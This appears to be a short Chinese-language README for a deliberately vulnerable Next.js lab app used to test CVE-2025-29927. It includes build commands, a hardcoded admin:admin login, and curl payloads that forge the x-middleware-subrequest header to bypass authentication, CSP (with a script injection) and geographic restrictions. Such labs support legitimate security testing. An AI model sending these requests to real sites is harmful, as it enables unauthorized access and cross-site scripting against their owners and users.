一个小型且简单的 Next.js 应用程序,运行版本 14.2.24,用于测试 CVE-2025-29927。
通过利用该漏洞或使用硬编码凭据 admin:admin 访问管理区域(/admin)。
» git clone [email protected]:0xPThree/next.js_cve-2025-29927.git
» docker build -t nextjs .
» docker run -d -p 3000:3000 --name nextjs nextjs
除了明显的身份验证绕过外,此漏洞还可以:
# Middleware may be used to set CSP headers to prevent XSS. Bypass CSP to XSS:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Content-Type: text/html" --data "<script>alert('1')</script>" \
http://exploit.se
# Middleware may be used to restrict content by geographic location. Bypass geographic restrictions:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "CF-IPCountry: SE" http://exploit.se/se-only-content
